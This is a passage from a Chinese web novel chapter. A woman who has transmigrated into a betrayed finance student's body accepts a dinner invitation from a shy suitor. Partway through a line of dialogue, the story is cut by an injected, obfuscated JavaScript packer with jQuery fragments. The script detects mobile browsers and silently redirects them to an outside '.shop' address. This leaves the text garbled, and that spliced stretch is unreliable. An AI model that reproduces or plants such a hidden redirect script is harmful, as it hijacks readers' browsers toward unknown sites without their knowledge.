戚旻漫不经心的告诉她:“那块地的地质有问题,现在相关部门正在审查。”
“什么?那要是审查不通过的话...”话还没说完就被打断。
“你是第一责任人,钥匙项目出了问题,你要为此负责,公司会对你进行追责。”
听到这里,原主哪能不明白戚旻是想让自己背黑锅,“这个项目前期勘验的不是我!凭什么让我负责?”
“你摘果子的时候,怎么不这么说呢?”电话里,戚旻恶意的声音像刀锋一样,切割着原主的神经。
她此刻才明白这一切都是戚旻计划好的,可是,“为什么?这样做对你又有什么好处?”
“你不需要知道。”说完,戚旻就挂了电话并拉黑了原主。
这通电话让原主彻底坠入深渊,事业和感情被自己的男友双重背刺,她被公司追责,需要承担给公司造成的巨额的损失,到最后被债务逼得走投无路,简历上有这么一笔经历,也没有公司会要她,她全部积蓄赔出去也不够还清债务,原主的跨越阶级的梦想可以说就此破灭,还负债累累。
到最后承受不住打击,精神失常,之后就再也没有人见过她了。
傅芮看完原主的生平,罕见的沉默了许久,纵观原主的一生,从5岁起,就再也没过过一天轻松的日子,好不容易看见了希望,又被毫不留情的命运推下了深渊。
就算原主拜金又怎么样呢,大家你情我愿,她没有骗人,也没有伤害过别人,更没有插足别人的感情,凭什么要落到这样的下场呢?
傅芮想问的话也是原主想问的,为什么世界要如此对待她,她只是想生活的好一点,但是她没偷也没抢,她到底做错什么了。
为什么她追求的东西总是要离她远去,她明明没有伤害过别人,为什么要这么对她。
这股不甘化为了极强的怨念,吸引了时空局的注意,这才有了傅芮的到来。
根据剧情来看,昨天原主已经在宿舍里和女主大吵了一架,并在宿舍楼扬言女主插足自己的感情,目前三人的纠葛已经是人尽皆知的状态了。
论坛上的帖子沸沸扬扬,其间大多都是同情原主,为她抱不平的,可之后原主被男主点明拜金的本质之时,也是这些人骂的最厉害。
原主在大学期间一直非常用心的经营自己的名声,一向以完美的形象示人,当这种幻象被男主敲碎后,人们看见了完美背后的模样,幻想的倾覆往往会带来激烈的情绪反扑,原主也因此受到了更猛烈的攻击。
那段时间甚至有人会向她当众泼饮料,骂她装模作样。
原主百口莫辩,她从来也没说过自己是感情至上的人啊。
傅芮面无表情的躺在床上,任由原主的负面情绪在这具身体中翻涌至渐渐平息。
半晌过后,她起身从床上爬下来,拿着原主的洗漱用品,进入了洗漱间。
傅芮对镜自照,原主的容貌真是得天独厚,尽管镜中的人乌发散乱,唇无血色,眼睛更是因为这段时间经常哭泣的原因,还微微泛红。
换做别人这副模样都能直接COS女鬼了,放在原主的身上,却硬生生的多了一份令人揪心的破碎感。
半个小时后,傅芮收拾完从洗手间出来,屋内已经多了一个人,是她的室友。
纪婷正在平板上看着下饭综艺吃午饭,听见洗手间开门的声音,下意识转过头。
傅芮刚刚洗过澡的皮肤上还带着水汽,日光透过泛着莹润的光泽,头发随意的挽起,眼角被热气蒸得通红,将面容装点的无比艳丽,眼波流转间更是带着丝丝雾气,像是从幻境中走出来的山妖精怪。
纪婷不由自主的屏主呼吸,终于明白了什么叫“不敢高声语,恐惊天上人”。
直到平板里传来综艺节目搞怪的音效声,才打破此刻的气氛;傅芮眼带着疑惑的看向她,纪婷回过神,尴尬一笑,没好意思说自己看呆了。
“咳,那个...我是想告诉你,刚刚你手机响了。”
“嗯,谢谢你的提醒。”傅芮轻声道谢,拿起手机查看。
纪婷忙摇了摇头:“没关系。”回过头继续吃自己的饭,偶尔还偷偷的撇傅芮一眼。
手机里有一条未接的语音来电和几条文字消息,对话界面上显示着对方发来的文字消息,解释自己因为她没有接电话,所以有点担心她,再之后是几句针对她如今失恋而安慰的话,最后一条消息,对方用词委婉的问她晚上有没有空。
看样子想约她出去。
备注名字叫徐晨枫,这天之前的上一条消息是四月份时这人问她是不是真的和向瑾轩在一起了,原主承认后,两人就再没有过联系。
傅芮歪着头回想了一下,这人似乎是原主之前的一位追求者,是某知名企业老板的独子,曾经也在原主的备选之列。
不过自从原主和向瑾轩开始交往以后,和这个人就再也没有过联系了,现在发消息过来...看来是知道了原主分手的消息了。
也对,昨天的事大概已经传遍整个商院了,想不知道都难,不过这个徐晨枫有点意思啊,原主和男主分手的消息刚传开,就跑来约她。
傅芮的眼中划过一丝玩味,葱白的手指在手机屏幕上点了几下,答应了对方晚上的邀约。
下一秒,对方的语音通话请求直接跳了出来,显然对方一直在拿着手机在屏幕对面等待着她的回复。
傅芮点下接听键,“喂?”
——
另一边的徐晨枫没想到傅芮会秒接,愣神了一瞬,直到电话里声音的传来,他才过电一样回过神,身体瞬间从沙发上弹起来。
不幸的是小腿磕在了大理石面的茶几上,疼痛让他不受控制的大叫一声,随后迅速反应过来,飞快地用手捂住了嘴巴。
怕傅芮等不到回应挂掉电话,他急急忙忙的对着电话解释自己刚才太意外了,这才回应迟了,希望她不要生气。
“我刚刚好像听见一声惨叫?”
“啊?那个啊...唔...那个...那个是..我...我...”他支吾了一会儿,才有些窘迫道:“我刚刚不小心腿磕在茶几上了。”
傅芮语气温柔的关心道:“受伤了吗?”
“没有没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590658|205449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有。”徐晨枫赶快否认,只是磕一下确实算不上受伤,但是来自女神的关心还是让他倍感温暖,“谢谢你的关心。”
“没事就好。”傅芮轻笑着调侃:“毕竟我也算是“罪魁祸首了。”
“不不不,怎么会这么说呢,哪里就这么严重了。”
短短的几句话,傅芮已经对对方的性格有了判断,大概是很害羞腼腆的性格,不善言辞,才会每句话里都带着局促。
随手拉开自己的桌边的椅子坐下,语调慵懒,“开个玩笑而已,不过...你为什么要约我呢?”
傅芮注意到纪婷的眼睛还盯着平板不放,但耳朵已经竖得老高,看来八卦一直是人类的本能。
“因为,因为,我,我,我听说...”他吞吞吐吐的半天也没说出来到底听说了什么。
“听说我分手了是吗?”
“嗯...嗯。”徐晨枫顿了顿,似是没想到傅芮能这么干脆的说出来:“你...别太伤心。”
嘴笨的人似乎说不出什么安慰人的话来,但语气中的真诚她能感受到。
傅芮眨眨眼,有些可怜道:“只是情绪来了,我也控制不住啊...不过还是谢谢你的安慰。”
“不,不客气...你要是实在伤心,想找人说话的话,我随时都可以。”
徐晨峰说得很认真,傅芮轻笑一声:“嗯?你不是要请我吃饭吗?怎么改成聊天了。”
徐晨枫小心翼翼的说道:“当然是想要请你吃晚饭的,我,我怕...你...刚刚....没有心情出来吃饭。”他说着说着突然有些懊恼起自己的不会说话,怎么又提起分手的事了。
“那我,一会去接你好吗?”
他的声音紧张地有些变形,语气中饱含的期待都快透过屏幕具现化而来了。
傅芮干脆的答应:“好啊,你在宿舍楼下等我吧?”
对方“嗯。”了一声,旋即又迟疑的问道:“方便吗?”
徐晨枫突然想到,傅芮昨天刚刚说自己被插足了感情,今天自己就去宿舍楼下去接她,被人看见难免会有人说些酸话,到时候恐怕又是一场腥风血雨。
他能想到这些,傅芮当然也想到了,身为F大的知名人士,她注定会被纷扰的声音缠绕,要是什么都在意的话,只会消耗自己的精力。
所以她坦然回答:“当然。”又看了看现在的时间,“我还要整理一下,你五点到就好。”
“好的。”
挂了电话,傅芮打开衣柜,开始挑选待会儿要穿的衣服。
衣柜里挂着各种大牌服饰和配饰,根据记忆,这些衣服有些是追求者送的,有些则是原主自己赚钱买的。
原主学的金融专业,在大一时就开始试着接触炒股,她是真的有天赋,眼光毒辣,短短一年靠着自己那点微薄的投入,就能做到衣食无忧了。
也是从那时起,原主的衣柜逐渐丰富了起来,人靠衣装马靠鞍,她太知道包装自己的重要性了。
原主每次答应追求对象的邀约时,都会花费相当长的时间打扮自己,力求自己的形象完美无缺。